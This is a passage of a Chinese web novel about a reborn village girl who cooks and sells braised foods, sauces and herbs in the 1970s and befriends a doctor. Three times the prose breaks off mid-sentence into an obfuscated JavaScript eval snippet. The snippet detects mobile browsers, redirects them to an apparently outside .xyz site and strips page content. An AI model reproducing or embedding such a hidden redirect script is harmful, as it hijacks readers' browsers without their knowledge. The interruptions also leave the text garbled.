炕上蔫头巴脑的样子，心里止不住地心疼，她看背篓里有鸡蛋，就先给赵小霜冲了个鸡蛋汤，加了一点胡椒粉和盐调味，看赵小霜一口气喝完了，她才去做饭。 林秀英用小麦粉和了点软和的面团，擀开以后切成细条，这是专门给赵小霜吃的，又用高粱面做了点窝窝头。赵小霜前天买的猪肉还没有吃，林秀英切了一小块，又狠狠心切了一块大的，虽然现在家里穷，但是小霜的身体更要紧，林秀英暗暗咬牙，把肥瘦相间的猪肉切成薄片，用锅煸出油脂，猪肉变得金黄酥脆以后捞出，锅里放入葱姜蒜爆香，再加入院子里现摘现洗的青椒，等青椒块出了虎皮，把猪肉片倒进去翻炒均匀，出锅前又沿锅边洒了一圈生抽提味儿，最后加一点点豆瓣酱增香。这样炒出来的猪肉不肥不腻，裹满了料汁，味道鲜而不咸，青椒外皮的纹路似虎皮一般，经过煸炒已经没有了生椒的味道，内里还保持一定脆度，带着猪油的香味，用来下饭简直一绝。 林秀英又用猪油煎了一个鸡蛋，焯了几根青菜，碗里放了一点盐和醋还有葱花，把细白面连汤带面倒进去，再把鸡蛋青菜码上，一碗清淡又营养的清汤面就做好了。 刚做好饭，林建业林建华也前后脚回来了，林建华神秘兮兮地把钱掏出来，小声说：“今天那些东西可没少卖钱，卤大肠和猪肚买的人多，我按一斤一块六卖的，板栗糕没有那么甜，买的人少，按一斤五毛钱卖的……”林建华叨叨地给赵小霜汇报着，赵小霜哭笑不得：“小舅，在家不用这么小声呀。” 林建华像是刚想到似的，一拍脑门，“哎呀第一次去黑市做买卖，怕让抓，小声惯了，不过小霜啊，你这卤味是做的真香，一下子就卖空了。”他又从另一个兜里掏出来一沓粮票工业票，还有两张棉花票，“有的人钱不够，我就多要了几张票，喏，都在这儿了。” 林建华又点了点钱：“肉类一共卖了36块7毛钱，你的板栗糕卖了4块3毛钱，还有那些卤的土豆豆腐什么的，也卖了7块钱，你别说，素菜卖得还更快嘞，都说吃起来又香又解馋，让我明天多弄点过去！”林建华顿了顿，又说：“你那些药材我不识货，没敢拿出去卖，怕给你亏了，等你身体好点了，你自己去卖吧。” 最后算下来，今天一共得了48块钱，十斤棉花票，四十斤粮票，三张工业票，除去林建华新买肉类和蔬菜花的钱，最后还剩26块6毛钱，加上之前卖东西的钱，她现在手里已经有60多块钱了，在这个年代，这可不是一笔小数目了。 但是赵小霜还有更大的野心，她上一世就对做饭研究食谱很感兴趣，后边还跟着酒店的厨师团队去深市培训学习，这两天卤味的快速出售也让她增强了信心。她准备再开发一些别的菜品，再过一段时间，她要想办法整一辆自行车，这样能带的东西就更多了，等政策不那么严了，她就直接去西顺县租一个房，开一家自己的小饭店，这样不用每天来回奔波，有了更大的空间，她也可以发挥自己的厨艺做出更多的美食。 8. 鲜辣鱼虾酱 赵小霜提出挣来的钱五五分，林建华却不同意，“我就是跑个腿，这钱你自己拿着吧，小心别丢了就成，哪有让小孩挣钱养家的，等你挣了大钱给小舅买个自行车。”林建华狮子大开口地开玩笑，赵小霜笑着说：“自行车肯定有，到时候再给大舅整个收音机，给我妈买个缝纫机。” 算完这些钱和票，林秀英也催着大家赶紧吃饭了，赵小霜看着面前的一碗白面条，直接去柜子里拿了三个小碗，给大家碗里都分了一些。 “妈，舅舅，你们的身体也不好，不用专门给我弄白面吃，要吃大家就一起吃。而且等我这生意做大了，咱们每天都能吃白米白面。” 林秀英见赵小霜坚持，也没有再说什么，一家人和和美美地吃着细白面，白面入口劲道爽滑，口感细腻，汤底清淡，有一股醋的清香。窝窝头本来又干又噎还黏糊，但是配上青椒炒肉，反而别有一番滋味，猪肉的油香浸润到高粱面里，使得高粱面变得油润适口，再配上肉质肥厚的虎皮青椒，一口咬下去，激发出调料的咸味儿、猪油的醇香、青椒的清爽，一家人吃得别提有多开心了，就连最不爱吃高粱面窝窝头的赵小霜，都吃了整整一大个。 赵小霜边吃边想，没准她这厨艺是从她妈妈这里遗传的呢！ 吃完饭，林建华照例去院里洗碗，今天轮到林建业去大队看谷子，他拿了个外套早早过去了。 赵小霜去院里跟着收拾东西，昨天她的鱼虾已经被林建华养在了盆里，大部分还活蹦乱跳的，黄连和紫灵芝都没有损伤，好好的铺在竹匾里，赵小霜也暗自松了一口气，这些黄连和紫灵芝简直是她用命换来的，如果丢了或者坏了她真的会心疼死。纵然如此，她也没有放弃赶山的想法，对她来说，最快的挣钱法子就是上山采药，秋天的山上物产丰富，直接放弃太可惜了，她准备白天再去几次，然后就安心在家里研究食谱做“外卖”，有林建华帮她去黑市卖东西，她可以轻松一阵子，正好养养身体。 这个时候已经很晚了，林秀英催着赵小霜睡觉，但赵小霜怕鱼虾再过夜不新鲜了，还好今天是满月，院子里洒满了月光，亮堂堂的，她趁着月色赶紧把鱼虾都处理了一下，大一点的鱼挑出来刮了鱼鳞，剖开肚子去掉内脏鱼鳃，剩下的小鱼小虾只需要洗干净大概刮一下就处理完毕了，控干水分以后直接下热锅油炸，炸到金黄酥脆，小鱼的骨头都被炸酥了再捞出来，锅里多留一点油，放入大量的葱姜蒜末爆香，再加上黄豆酱和剁碎的鲜红辣椒碎，炒出红油以后把炸得酥酥脆脆的小鱼小虾倒进去翻炒均匀，最后放一些盐和花椒粉调味晾凉就可以装瓶了。 这样的鲜辣鱼虾酱做起来简单，吃着却很有嚼头，比起那种捣碎了的虾酱，它更像是一道菜，吃起来口感丰富，有鱼虾的鲜味儿，又有辣椒的爽口，装瓶以后保质期很长，赵小霜自信能卖出去不少，这个年代人们对河里的鱼虾捕捞较少，一是个头太小不值当费这力气，二是不会做很容易腥臭，并不好吃，这正好便宜了赵小霜，除了冬天不好打捞，一年三季河里都有小鱼小虾，成本很低，做起来又容易，赵小霜正需要这样的东西来长期售卖。 看着盆里还剩下那些大点的鱼，赵小霜想了想，用铁勺把肉一点点刮下来，放进碗里，不多时便刮出来一整碗鱼泥，她找了个大点的盆把鱼泥倒进去，给其中加入葱姜水，不停地用手搅打上劲，再分次加入一些红薯粉，一勺猪油，盐和一点白酒去腥，最后加上三个鸡蛋清，搅成肉糜的样子，再给锅里放入凉水，不开火，用虎口把鱼糜挤成丸子状，用勺子放入水中定型，也挤了满满一大锅，赵小霜开小火把鱼丸煮熟放凉，准备明天也放进大锅里一起卤着。 做完这些，已经是深夜了，赵小霜松懈下来以后终于又感觉到肌肉的酸疼，她随便锤了锤腰背，就倒在炕上昏睡过去。 这之后的一个礼拜，赵小霜每天上午做好卤味和糕点，再趁着天亮去山里采些药材，偶尔收收鱼篓。等晚上天黑了，林建华再背着背篓去县里黑市卖掉，赶夜路再回来补觉，在赵小霜的要求下，也断断续续给家里买回来了长棉花和劳动布，偶尔还会带回来一些鸡鸭之类的肉，让赵小霜吃着补身体。 赵小霜在家享受了几天只管做不管卖的日子，眼看着家里的药材越堆越多，她准备找一天和林建华一块去县里，把药材给卖了。这天清晨太阳升起来，林建华却迟迟没有回来，等到快中午了，他才终于背着背篓出现在家门口，满脸的沮丧，赵小霜见状，以为他东西没卖出去，正要安慰，林建华却开口道：“昨天县里查黑市，好几个人被抓了罚款了，我去得晚没让抓，但来的人也少了很多，黑市卖猪肉的人也没来。等我卖完了去国营商店买肉，已经什么都没有了，最后好不容易拿到几个猪耳朵，但是大肠猪肚土豆什么的一个都没买到。” 赵小霜看了看背篓里的猪耳朵，想了一会儿，最近虽然天气转凉，却又突然来了个回马枪，一直升温，秋老虎的威力很大，好多人又把夏天的衣服拿了出来。这样的天气非常适合吃点凉拌菜，而且明天是休息日，工厂的工人们都会在下班的傍晚去买点下酒菜，赵小霜准备把猪耳朵做成红油脆猪耳，再加一些黄瓜片，咸香爽辣，开胃解热，又不至于像冰棍一样冻肚子，用来下酒最好。 正好山上的鱼篓也三天没收了，她喊着林建华林秀英一块上山，这次三个人摘了不少药材，又摘了满满一背篓野柿子，秋天山上还有很多马齿苋和野芹，赵小霜顺手也薅了不少，马齿苋可以凉拌吃，野芹可以做汤时调味，会有一种独特的清香。上次半夜摘的几个野柿子被赵小霜做成了柿饼吃掉了，虽然野柿子个头小，生吃很酸涩，但是去掉皮晾晒成柿饼以后，反而没有了酸涩的味道，表面挂着满满的白霜。比起生柿子来说，更加软糯香甜，外皮韧性十足，内里香甜湿润，秋天吃还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883659|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能健脾润燥，对肺特别好，这次赵小霜准备多做一些带去卖。 最近在家一直“歇着”不用操心，加上林秀英每天变着花样给赵小霜吃肉吃面，面汤里也经常放一些当归黄芪给她补气血，赵小霜的脸色明显变得红润起来，原本凹陷的脸颊也有了饱满的趋势。只是每天吃饭的时候都有点让她哭笑不得，林家三姐弟轮番给她夹肉夹菜，有的时候吃不下了还得硬着头皮多吃点，直到肚子都鼓鼓的林家三姐弟才会放过她，赵小霜可算知道什么叫做甜蜜的烦恼了，不过她的体力也明显上升了许多，今天已经在山上走了五六个小时，她甚至感觉还有精力再去搞点药材，最后架不住林秀英的劝说还是乖乖回家了。 这一趟三个人收获颇丰，下山时也已经快要天黑了，到家后，三个人把几个背篓里的东西拿出来慢慢分类，现在家里的黄连已经有七八斤，紫灵芝品质好的有五朵，柴胡和党参加起来也有十四斤了，还有一些七零八碎别的药材，赵小霜保守估计，光这些药材就能卖个350块左右。 收拾好东西以后，赵小霜找了个大盆开始洗柿子，她把柿子洗干净以后削皮，再拿干净的棉线把柿子像串门帘一样串起来，中间留出空隙，等串完以后，拿烧开的滚水把柿子串烫一下，这一步的目的是杀菌消毒，可以防止柿子发霉，然后直接一串一串挂起来晾干，这下就不用再管了，等个七八天柿饼就成了，如果想吃颜色更深更有嚼劲的，可以挂个十几天再取。看着院里黄澄澄的柿子串，像灯笼串一样挂着，时不时起风了还会转起来，红红火火的，别提有多好看了。赵小霜心满意足地拍拍手，明天她得把红油凉拌猪耳朵做了，最近在家又断断续续做了不少油鸡枞和鱼虾酱，也一并带过去卖掉，再打听打听找个师傅帮忙安装一下玻璃窗户，修缮一下房顶，给家里刷一层漆。 赵小霜有想过挣钱重新盖房子，但赵小霜不会一直呆在这里，等她找到合适的时机，就会去县里开店，以后还应该要去市里，林秀英是一定会跟着赵小霜的，她的两个舅舅能力强又肯吃苦，在城市里机会多，肯定能挣更多的钱，赵小霜是想带着他们俩一块走的。 在农村种地很辛苦，林家两兄弟没有父母撑腰，人又实在，经常被分配那些又脏又累的活，工分还低，一年到头得不了几个钱。小舅林建华从小学习好，但因为家里没有劳动力也穷，他体恤哥哥林建业一个人养家辛苦，偷偷退了学回家帮忙干活，林建业没少因为这事儿自责，林建华也私底下和赵小霜讲到对学习的渴望。但林建业自己也已经29岁了，还因为家里光景不好打着光棍，这一家子勤勤恳恳，却穷得叮当响，有的时候还饿肚子。 赵小霜想等明年去城里挣到钱以后，鼓励小舅继续回去读书，再过两年就要恢复高考了，其他人不知道，赵小霜却知道，这次的高考定在冬天，是许多人改变命运的转折点。以小舅的智商，一定可以考个好大学。 9. 红油凉拌猪耳朵 第二天赵小霜睡到了七八点，因为今天主要卖的是药材和红油猪耳朵，工厂工人一般都要下午六点才下工，所以不用太着急，赵小霜把猪耳朵放进锅里，倒入冷水，放上葱段姜片，再加一些白酒，等水开了把锅里的浮沫撇去，再加上八角、草果、大料、桂皮和花椒，再加一点酱油小火炖煮。 等猪耳朵煮熟的期间，赵小霜用猪油炸了一点花生米，又找了个大盆，里边放上蒜末、芝麻、辣椒面、胡椒粉和花椒粉，把炸花生米剩下的猪油泼进去，热油滋啦一下就激发了辣椒的香味儿，再加上酱油、香醋、盐糖拌匀，有了这样的一个红油底料，真的是“拌鞋垫都好吃”。 猪耳朵煮熟以后，赵小霜打了一些凉井水，把猪耳朵泡进去降温，这样切出来的猪耳朵是脆爽的，不会黏黏糊糊。最后赵小霜把猪耳朵片成均匀的薄片，和炸花生米、黄瓜片、香菜葱花一起倒进大盆里，想了想，又加了一些菌菇粉，这些菌菇粉是赵小霜之前晒干的各类菌菇磨制而成的，不管什么菜都可以放一些提鲜。搅拌均匀以后，赵小霜拿了一大块笼屉布把盆盖上，让猪耳朵腌制一会儿。 赵小霜之前就想扩展一下市场，找到一些固定的长期买家，黑市人流量比较随机，生意规模并不大。她在买东西的时候观察到很多职工在休息日的前一天会到国营商店买酒，到晚上肉就没有了，但也会买鸡鸭架花生米之类的东西用来下酒。赵小霜想抓住这个机会，把自己的卤味大力推广出去，打响名号，这次林建华没买到大肠猪肚，但有猪耳朵做个凉拌菜，正好能显示出来她的产品的差异化，借着这几天的秋老虎天气，更是方便了她的“品牌建设”。 眼看着太阳快升到了正头，赵小霜把家里的油鸡枞、小鱼小虾酱、红油猪耳朵、五味子酒都放进背篓里，药材实在太多，背篓已经差不多满了，她准备各拿一半，如果上次的老中医还收的话，明天她再送过来。 等走到西顺县的中医馆时已经是正午，秋老虎的威力真是不容小觑，赵小霜被晒得满头是汗，她一走进中医馆就累得坐到了病人等待的椅子上。馆里没有病人，有一个年轻的女人正在收拾药柜，她看了看赵小霜，问道：“同志，你哪里不舒服？” 赵小霜摆摆手，“我不是来看病的，我是来卖药材的。” 女人起身给她拿了一碗乌梅汤，乌梅汤应该是刚煮出来的，喝起来还有点热，但却比冰饮更解渴，乌梅比较酸，但汤里又加了甘草和玫瑰，赵小霜猜测她应该还加了陈皮和白糖，恰到好处地提升了酸梅汤的风味。 她一边喝着，一边听到女人说：“你是不是来找我爷爷的呀？他现在出门去给病人看诊了，估摸着也得下午才能回来。” “行，谢谢您的乌梅汤，那我下午再过来。”说罢，赵小霜就要背起背篓起身，女人看出了赵小霜的费力，她说：“我叫孙芷星，白芷的芷，星星的星，我是孙陆堂的孙女，你要是信得过我，可以先把药材放这儿，晚上你再过来。”女人的声音如泉水一般柔润又清凉，让赵小霜不由得对她产生了好感，正好她还要去医院还周医生钱，还得去找几个厂子卖猪耳朵，如果能把药材存在这儿就再好不过了，赵小霜赶忙答应，孙芷星便引她到了后院，让她把药材先放到后院的桌子上，又拿玻璃瓶给她装了乌梅汤。赵小霜走之前她又叮嘱道：“最近天气要热几天，你出门一定要带水，我最近已经接诊了很多个脱水的患者了。” 赵小霜连连道谢，接过乌梅汤就出发赶去县医院，林建华前几天卖完东西偶尔过去问一下，都没等到周医生值班，赵小霜素来不爱欠人情，人家给她垫付的医药费一天没还上，她就一天不安心，好在县医院离得并不远，她先去了上次开药的诊室，上次的中年医生认出了赵小霜，简单询问了一下赵小霜的身体状况，就告诉她周医生现在在病房巡视。赵小霜又沿路去了住院部，住院部要比诊室的楼大很多，赵小霜进一楼找了一圈没看到周医生，又不敢进病房乱逛，只好坐在住院部门口的台阶上，眼巴巴地盯着来来往往的医生。 大概等了一个小时，赵小霜腿都麻了，终于看到一个眼熟的背影，赵小霜对周医生只有一面之缘，但记得他个子很高，头发短短地支棱着，赵小霜赶忙起身跑过去。 “周医生！周医生！” 身着白大褂的背影明显一停，扭头看向赵小霜的方向，就看见一个个子小小的女生朝他跑过来，“周医生！可算等到你了！” 走近了一看，周翊凡认出来她是那天半夜送到急诊室的女生，气色看起来明显要好了很多，女生把几张钱递给他：“周医生，上次谢谢您给我垫付医药费，上周一直没找着您，今天可算等到了。” 周翊凡接过钱：“不是什么大事儿，人没事就行。” 赵小霜又像突然想起来什么似的，她赶忙往台阶那边跑去，一边跑一边回头喊：“您等一下周医生！” 赵小霜从背篓里掏出来两瓶油鸡枞，又跑回来，递给周翊凡：“真的很感谢您，我们家在农村也没什么好东西，这油鸡枞是我自己采摘做的，拌面很香！送给您！” 周翊凡不动声色地打量了一下赵小霜，小姑娘热的脸都红扑扑的，梳着两个大麻花辫，头发明显因为营养不良而干枯发黄，一双眼睛却又黑有大，亮晶晶地盯着他。见他没有动作，又赶忙补充：“我这不是送您东西，就是家里的一点土特产，您就当是朋友给您尝一尝的。” 周翊凡向来不收患者的东西，今天却在赵小霜亮晶晶的眼神攻势下，鬼使神差地接了过来，赵小霜见他没有拒绝，笑得更开心了，她和周翊凡摆摆手说了再见，就头也不回地背着背篓走了。 赵小霜还得赶紧去卖猪耳朵，赵小霜在出发之前，用干净毛巾浸了井水裹住装猪耳朵的大盆来保持凉度，背篓上还用树叶子盖上防止暴晒。但今天天气实在太热，赵小霜还是怕肉捂久了发酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883660|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她还完钱，就着急忙慌地赶往下一个目的地。 赵小霜对县里熟悉的厂只有造纸厂和钢铁厂，但她也不想见到庄白川和赵令强，所以专门绕远路去了城西的食品厂和家电厂，这两个厂效益好，里边的工人也比较舍得花钱买东西。这边的食品厂叫西顺县益利食品一厂，主要负责生产饼干糖果还有糕点，家电厂是专门生产无线电收音机的，叫西顺县无线电三厂，再往西走还有纺织厂和棉厂，但今天做的猪耳朵不多，加上是第一次来这边，赵小霜决定选择近一点的厂进行售卖。 不多时，食品厂的工人们就陆陆续续出来了，赵小霜赶紧把装猪耳朵的盆拿出来，揭掉盖在上边的笼屉布，搬到厂房门口的阴凉处，她拿不准这附近抓得紧不紧，所以也没有大声吆喝，只在工人们投来好奇的目光时接应一嘴，不多时，一个身着米白色翻领衬衫和深蓝劳动布裙的女工人骑着车出来，她好奇地打量了一下赵小霜，问道：“大妹子，你这是在卖啥？” “红油凉拌猪耳朵，爽脆鲜辣，这几天天气热，吃点这个开胃又舒服！” 女工人听闻停下了车，蹲下细细地观察赵小霜做的猪耳朵：“我们家今天有亲戚来，正好还差个凉菜，大妹子，你这什么什么猪耳朵怎么卖呀？” 赵小霜伸出手：“姐，您是我今天第一个客人，一斤正常是卖一块钱的，我给您按9毛算！” 女工人看着就像个大方的，她没有还价，直接点头来了两斤，赵小霜赶紧拿出篓里的油鸡枞和鱼虾酱推销：“姐，这两个也是我自己做的，这鸡枞都是山上新鲜摘的，用来拌饭拌面特别香，保质期还长，密封能放个半年。这鱼虾酱偏辣，但吃起来也更香，您要是爱吃辣，我铁推荐您买这个！” 女工人拿起来看了看，又闻了闻，满意地点点头，拿了两瓶油鸡枞，两瓶鱼虾酱，下工的工人们也慢慢聚集了过来，不多时，她的猪耳朵就被抢购一空，连花生米都捞的干干净净，只剩下一点红油底子了。她本来还以为得多跑几个厂才能卖完，没想到刚到一个厂就卖光了！虽然这食品厂远了点，但这么一会儿就挣了三十几块钱，也值得跑这一趟。 她手头还有十来瓶鱼虾酱和两瓶油鸡枞，这年头内陆的老百姓吃鱼虾都少，好多人都是好奇地看看，却不准备买来尝试，眼看着食品厂的人都已经走空了，赵小霜把钱点好，整理了剩下的东西。 天色渐渐昏暗了下来，但赵小霜却不准备回家，东西都已经背出来了，她就一定要卖干净。想了想，她还是扭头往钢铁厂的方向去了，钢铁厂的生产任务重，所以下工一般也晚，所以赵小霜只犹豫了一会儿就出发了，这些东西能卖十几块钱，虽然对比药材不算什么大钱，但蚊子肉再小也是肉。赵小霜现在都掉钱眼里了，哪里还管得了她那个家暴的爹，就算万一遇上了，大庭广众之下赵令强也没办法拿她怎么样。这样想着，她赶忙三步并作两步，想在天黑前赶往钢铁厂。 10. 嗅到商机 赵小霜知道赵令强一般从南门回家，特意挑了钢铁厂的北门来卖东西，北门是钢铁厂的正门，人流量也比较大，此时天气已经不热了，赵小霜直接找了个显眼的地儿把东西摆出来，一边喝着乌梅汤一边等工人们出来。 路来路过几个工人，大家都是问一句价格就扭头走了，赵小霜决定沿用黑市的试吃战略，她打开一瓶油鸡枞和一瓶小鱼小虾酱，那股子油香味儿一下就窜出来了，只要来人问，她就大方地给人家递一点尝尝，买不买都无所谓，不多时，她的摊子就聚集了一大圈人。 钢铁厂的工人活儿都重，上了一下午工，各个都饥肠辘辘，此时被赵小霜这一筷子试吃勾的馋虫都出来了，赵小霜还帮他们想象着：“把家里的馒头窝头掰开，夹一筷子放进去，咬一口又咸又香，还有鱼虾的鲜味儿，这鱼虾个头又大，炸过有嚼头，边喝酒边嚼点这个，甭提多带劲了！”几个工人被她说得口水都快流下来了，有几个直接就掏钱买了。就在这时，门口传来一个有些浑厚的男声：“都聚在这儿干什么呢！” 赵小霜心里一慌，难道是公安巡查到这儿了？她心里暗自想着对策，幸好她已经把大部分东西卖掉了，只剩下了十几瓶东西，顶多是被没收了再罚款十元，并不是很大的损失。正想着，工人们纷纷让开路，和这个男人打着招呼：“王厂长。” 原来是钢铁厂的厂长，赵小霜心里松了一口气，见这个王厂长长相和蔼，也没有生气的样子，反而笑眯眯的，她也夹了一筷子鱼虾给他：“王厂长，这都是我自己做的，您尝尝？” 王厂长也笑眯眯地接过尝了一口，炸过的鱼骨和鱼肉已经极其酥脆，又被红油浸满，牙齿咬过鱼肉，轻轻咀嚼一下，鱼骨就迸发出一股浓郁的油香，甚至比鱼肉都要好吃。王厂长满意地点点头，他说：“同志，之前没有见过你，你做的这个很不错，还有别的东西吗？” 这是对她的产品感兴趣了，赵小霜赶紧又给王厂长夹了一筷子油鸡枞，王厂长吃完以后眼神都亮了，他赶忙问：“同志，你这个卖多少钱？” “油鸡枞一块钱一瓶，小鱼小虾酱一块二一瓶。这个小鱼小虾酱还有偏甜口的，没有那么辣，您要不要也尝尝？”在家休养的那一周，赵小霜改良了配方，研究出一种比较偏甜的口味，在原有配方的基础上减少了辣椒和蒜蓉，增加了红糖和黄豆粉，这样的调料听起来好像有点“黑暗”，但加在鱼虾酱里可以恰到好处地提鲜，吃起来会更加油润鲜甜，很适合小孩和不能吃辣的人吃。 这个大家口中的“王厂长”叫王利民，是钢铁厂的副厂长，最近过节，要给厂里职工发福利，由他来策划，然而太贵的预算不够，普通的东西大家也都有，想搞创新却抓耳挠腮搞不出来，他已经愁了快一周了，这个鱼虾酱和油鸡枞倒是新鲜，价格嘛也合适，吃着还香，用来当福利正好。王厂长一拍脑袋，当下就决定了，这个时候赵小霜的东西已经卖的差不多了，王利民掏出七块钱，说：“同志，明天中午，这几种酱，各带两瓶来厂里，你还会做别的东西不？” 赵小霜赶紧回答：“没问题，我还能做酸辣豆角、辣白菜、香菇卤肉酱、酒糟鱼、糖醋萝卜丁！”她跟报菜名似的把自己能想起来的下饭酱菜都秃噜了出来，王利民挠了挠脑袋，又掏出来五块钱递给赵小霜，“你自己看着做吧，我就三个要求，好吃，好看，保存时间久。” “没问题！明天十二点我准时到咱们厂！” 赵小霜爽快地答应下来，她敏锐地嗅到了商机，虽然王厂长没有和她说这个酱要干什么，但是赵小霜能猜到他肯定不光是自己买来吃，如果能搭上这条线，后续肯定还会有源源不断的商单！ 卖完了最后一瓶小鱼小虾酱，赵小霜背着空空的背篓脚步轻快地往回走，她准备先去找好做玻璃窗的师傅，再买点做酱的原材料，秋天的豆角白菜萝卜都便宜，她可以多买一点，除了做酱菜卖，自己家也可以多存点留着过冬吃。 她凭着大概的记忆往城中心走，沿路看有没有卖建筑材料的店。没想到这走了一大圈，愣是一个店都没找着，却又碰到了周医生。 周翊凡已经下班了，脱去了白大褂，少了一丝不近人情的冰冷。他推着崭新的二八大杠走着，穿了一件灰蓝色的衬衫，笔挺的长裤衬得他双腿愈发修长，他看到赵小霜像个无头苍蝇一样四处乱窜，便上前一步主动打了招呼。 “你这是要去哪？” “啊……周医生……我是想找个木工师傅，买点玻璃板，把家里房子修缮一下。”赵小霜一边走着一边和周翊凡解释：“我们在农村老家住，窗户年久失修了，我想着趁冬天之前赶紧安个玻璃窗户。” 这年头农村的窗户一般都是用纸糊的，只有城市里新一些的房才用玻璃窗户，周翊凡听了有点意外，说道：“最近天气开始转凉，很多人都在修窗户，你自己这样乱转也找不到人，我前几天刚联系人换了两块玻璃窗，你需要的话我去帮你问一下。” 赵小霜听了忙不迭点头：“那就太感谢你了周医生，麻烦您了。”有了周翊凡的帮助，她很快就联系上了木工师傅，她出发之前就量好了家里窗户的尺寸，跟师傅商量好以后就直接买下了合适的玻璃块，回家以后再自己整点实木板之类的就可以，这样又省钱又质量好。但问题又来了，赵小霜的背篓里根本放不下玻璃块，玻璃板本身就很容易碎，就算她能背得动，背回去怕也是要碎几块，正当她犯愁的时候，周翊凡又开口：“我骑车帮你送回去吧，天也快黑了，你一个人不安全。” 说罢，像是怕被赵小霜拒绝，他又补充道：“就当是谢谢你的油鸡枞了。”见赵小霜还在犹豫，他直接招呼师傅帮忙把玻璃板固定在车后座上，赵小霜实在是有些不好意思，她赶忙说：“那我明天请您吃饭吧！” 就这样，周翊凡推着二八大杠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883661|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，后边绑着玻璃板，赵小霜一路在旁边跟着，途中又买了一些蔬菜、肉、面背着。回西顺县还得走一个多小时，两个人认识时间短，可以说只有一面之缘，如果不是周医生好心帮忙，他们俩可能这辈子也没什么交集。这是赵小霜重生以后第一次感到尴尬和无所适从，她在心里抓耳挠腮地想找一些话题打破这份尴尬，又怕问多了显得太自来熟，引起人家的反感，一时半会还真找不出来什么话讲。 周翊凡扭头看着赵小霜那个窘迫又尴尬的样子，嘴角不由自主勾了勾。他在医院听护士说了赵小霜的事情，也惊讶于这么年轻的一个小姑娘敢半夜上山采药，也佩服她的勇气和挣钱的决心。上次半夜被她舅舅背到急诊室的时候，整个人像刚从土堆里挖出来似的，脸上的血流到衣服上裤子上，脸色惨白。这刚过去一周没见，她好像又恢复了精气神儿，脸蛋有点鼓囊，不知道是不是因为天气热，隐约透着粉红，衣服虽然破旧却干干净净的，脸上那一道伤疤刚结痂，红棕色的血痂斜在脸上，却依然挡不住她那股子劲儿，用后世的话来说就是“生命力很旺盛”。 赵小霜察觉到落在她身上的目光，不由抬手挠了挠脸，开始没话硬找话：“周医生，听说您上周出去培训了，您去哪个地方了呀？哦！我还不知道您叫什么……” “周翊凡，立羽翊，平凡的凡。我上周是去深市培训。” “我叫赵小霜，我是霜降那天出生的，所以我妈妈给我起名赵小霜。”她拿不准周医生到底什么年龄，但估摸着比自己大，又说道：“您叫我小霜就行。” 就这样有一搭没一搭地，两个人终于在天黑之前赶到了家，两人合伙把玻璃卸下来放到屋里，赵小霜就赶紧给他倒水，周翊凡打量了一下房子，面上没什么表情，眉头却微微皱了一下，赵小霜以为他嫌弃屋子破旧，周翊凡却开口说道：“除了玻璃，你这个房顶也得修一下，西边已经漏水了，这边冬天雨雪多，容易压垮，好在房梁结构没什么问题，可能需要做个防水，重新铺点瓦片。你今天说冬天屋里冷，可以在外墙加一层保温，密封以后就不会冷了。” 说罢接过赵小霜倒的热水饮了一口，赵小霜听得目瞪口呆：“周医生，您还懂这个呀？” 周翊凡欣赏了一会儿赵小霜的表情，慢悠悠开口说：“我有个朋友是工农建的学生，经常听他说，略懂一二，这些都花不了太多钱，改天你和师傅说一声，顺手就给你修了。” 两人正说着，林家姐弟也从地头回来了，林建华还去山里把竹篓收了一波，他们见到周医生先是一愣，又赶忙道谢，得知他把赵小霜送回来，就要留他在家吃饭。赵小霜看了看林建华收回来的鱼虾，个头又大数量又多，除去做小鱼小虾酱的原料，还有不少大鱼，赵小霜准备做个鱼丸粗面，再炸一个小河虾，炒一盘鸡蛋和猪油青菜当作晚饭，这样有荤有素也有汤，又不至于热气，招待人也是非常不错的。 11. 不速之客 这边赵小霜按着之前的办法处理着鱼肉，周翊凡也起身跟着去院里洗菜，他看到院子阴凉处晾着的黄连党参等药材，有些好奇地问道：“你一个人上山采药不害怕吗？我听说晚上会有狼群出没。” 赵小霜已经迅速地把鱼肉都刮了下来，正在往里加葱姜水搅打上劲，她一边费力地搅着，一边回答：“怕呀，但是没钱更可怕。”她的额头因用力冒出了晶莹的小汗珠，周翊凡已经洗干净了青菜，他顺手接过赵小霜的小盆儿，学着赵小霜的样子顺时针给鱼肉泥搅打上劲，等鱼肉泥变得黏糊有弹性，赵小霜又加入了一些没有剁碎的虾肉，这样吃起来口感会更加丰富。 